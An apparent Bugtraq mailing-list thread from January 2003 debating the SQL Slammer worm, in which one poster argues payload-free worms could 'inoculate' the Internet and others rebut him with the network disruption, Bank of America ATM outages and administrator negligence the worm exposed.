> > attacks.
> >
> > Before you get upset at your vendor, or anyone else's, consider the
> > bigger
> > picture and recognize the increased security hardening the Internet just
> > received. Belief in this silver lining shouldn't be taken too far, of
> > course, but flaming anyone over an event like this is misplaced
> > considering
> > the number of infosec experts who would probably have agreed to write
> > this
> > worm if approached by their nations' government with proof that an
> > adversary
> > was planning to cause severe harm by exploiting the W32/SQLSlammer
> > vulnerability.
> >
> > Sincerely,
> >
> > Jason Coombs
> > jasonc@science.org
> >
> >
>

[=?iso-8859-1?Q?Colm_MacC=E1rthaigh?=]

On Sat, Jan 25, 2003 at 11:40:48AM -1000, Jason Coombs wrote:
> As of now we don't know who wrote the worm, but we do know that it looks
> like a concept worm with no malicious payload.

The payload may not have been malicious to the host, but this does
not imply a lack of malice. It certainly caused, and is causeing
a large ammount of grief in the network sense.

Given the steps taken to randomise the target IP address, it is
highly likely that this worm was targetted at networks, not hosts.

> There is a good argument to be made in favor of such worms.

I'm afraid that your argument doesnt hold up to scrutiny. There is no
logical reason why the rest of the non MS-SQL using world being
affected by an MS-SQL bug (and an inadequecy on the part of MS-SQL
admins) should be a good thing.

If the worm had a malicious (in your terms) payload, it would have
caused networks just as many problems (so no gain there), and more harm
to MS-SQL users. Using your logic, surely this much more damaging
experience would have cause MS-SQL admins to be more responsible in
keeping up to date ? Or rather, more fearful of future exploits.

As it is, MS-SQL admins may feel that since this bug did not affect
them in any serious way (if you can follow that certain line of
thought), they may assume the same thing about future exploits.

When viewed from that perspective, this exploit is as malicious as
possible to general internet infrastructure. Benign to the people who
can do something about it, malicious to those who cannot.

--
colmmacc at redbrick.dcu.ie

[Charles Miller]

Jason Coombs propagated the following meme:
>
> As of now we don't know who wrote the worm, but we do know that it looks
> like a concept worm with no malicious payload. There is a good argument to
> be made in favor of such worms.

There are many arguments against them, too.

1) They have the potential to seriously disrupt delivery of important
services.

2) It takes one bug in the worm to turn it from "mostly harmless" into
"crippling", and nobody has a spare Internet to test a worm on
before releasing it.

3) They cause enormous problems even for those who are not directly
to blame. Consider a co-location. You can keep your own systems
up to date, but that's really no consolation if some idiot in the
same facility hasn't patched their SQL Server boxen, and they melt
the router.

4) They feed a cycle of short, sensationalist incidents that target a
single vulnerability, and then fade into the background.

5) It feeds the myth that it is "good enough" to be reactive when it
comes to security.

6) It has no appreciable long-term benefit. Last year, it was Code Red
and Nimda. Everyone patched their IIS servers. There was the Apache
mod_ssl worm (to a lesser extent) that reminded everyone to patch
their Apache servers. This year, there's Sapphire, and everyone patches
their SQL Server boxes. Next vulnerability, next worm, even if it's in
IIS, Apache or SQL Server again, will catch the _same_ people, _again_.

The solution isn't defensive worms. The solution lies in the recognition
(seldom expressed, lest we later regret it ourselves), that the failure
to patch a seven-month bug is NEGLIGENCE, the failure to firewall non-
essential open ports on network servers is NEGLIGENCE. In other matters,
the failure to implement egress filtering is negligence. We could
probably come up with a pretty good baseline of what is obvious systems
administration negligence when it comes to security.

Few worms exploit vulnerabilities that are new and unknown. Most exploit
those that have been known for months. That it is cheaper for negligent
administrators to wait until the worm hits, suffer a day of disruption
and then fix the problem du jour is simply unacceptable. The only solution,
however, is to somehow make it more expensive to be negligent than it is
to be diligent.

This is difficult. Tort law really isn't very good at handling cases where
a lot of people each do small amounts of damage to a lot of other people.
Even though the aggregate effect is significant, you can't really put your
finger quite firmly enough on who did what to whom. And since the Internet
is decentralised, you can't be slapped down by some authority in charge of
keeping the 'net healthy.

There's always the doomsday scenario. Maybe if this worm had caused major
data-loss, there _would_ be some lasting effect? Or maybe the admins would
have just restored from backup. Who knows?

Charles Miller

--
"Bill Gates reports on security progress made and the challenges ahead."
-- Microsoft's Homepage, on the day an SQL Server bug crippled large
sections of the Internet.

[Eloy A. Paris]

Brian McGrogan <brian@encinc.com> writes:

> The fact that the nations largest banking institution relies on the
> Internet for ATM transactions is disturbing.

The trend to rely more and more on the Internet for our most critical
infrastructures won't change. Quite the opposite, I'm afraid. It's
analog (to a certain degree) to the way we began to rely on the
telephone network (POTS) years ago.

We'll just have to do a better job at securing the Internet, its
infrastructure and applications.

> I personally experienced this while at a Bank of America ATM today. I
> will never use Bank of America because of a statement like that.

I see your point, but a large-scale incident like today's can also
affect private networks (although less likely, of course.)

Eloy.-

[Brian McGrogan]

The fact that the nations largest banking institution relies on the
Internet for ATM transactions is disturbing. I personally experienced
this while at a Bank of America ATM today. I will never use Bank of
America because of a statement like that.

-brian

On Sat, 25 Jan 2003, Richard M. Smith wrote:

> However, this worm might not be so harmless as it appears because of
> collateral damage:
>
> Bank of America ATMs Disrupted by Virus
>
> http://story.news.yahoo.com/news?tmpl=story&ncid=578&e=3&cid=569&u=/nm/2
> 0030125/tc_nm/tech_virus_dc
>
> "SEATTLE (Reuters) - Bank of America Corp. said on
> Saturday that customers at a majority of its 13,000
> automatic teller machines were unable to process
> customer transactions after a malicious computer worm
> nearly froze Internet traffic worldwide."
>
> Richard M. Smith
> http://www.ComputerBytesMan.com
>
> -----Original Message-----
> From: Jason Coombs [mailto:jasonc@science.org]
> Sent: Saturday, January 25, 2003 4:41 PM
> To: Jay D. Dyson; Bugtraq
> Subject: RE: MS SQL WORM IS DESTROYING INTERNET BLOCK PORT 1434!
>
>
> Jay Dyson wrote:
> > And to think...up until tonight, I thought the vulnerabilities
> > that paved the way for Nimda were the worst that Microsoft could do
> > to the net.community. They've really topped themselves this time.
>
> As of now we don't know who wrote the worm, but we do know that it looks
> like a concept worm with no malicious payload. There is a good argument
> to
> be made in favor of such worms. Whomever did write this worm could have
> done
> severe damage beyond unfocused DDoS and chose not to do so. One would
> expect
> intelligence agencies in developed countries to write and release
> precisely
> this type of concept worm as a form of mass inoculation against
> malicious
> attacks.
>
> Before you get upset at your vendor, or anyone else's, consider the
> bigger
> picture and recognize the increased security hardening the Internet just
> received. Belief in this silver lining shouldn't be taken too far, of
> course, but flaming anyone over an event like this is misplaced
> considering
> the number of infosec experts who would probably have agreed to write
> this
> worm if approached by their nations' government with proof that an
> adversary
> was planning to cause severe harm by exploiting the W32/SQLSlammer
> vulnerability.
>
> Sincerely,
>
> Jason Coombs
> jasonc@science.org
>
>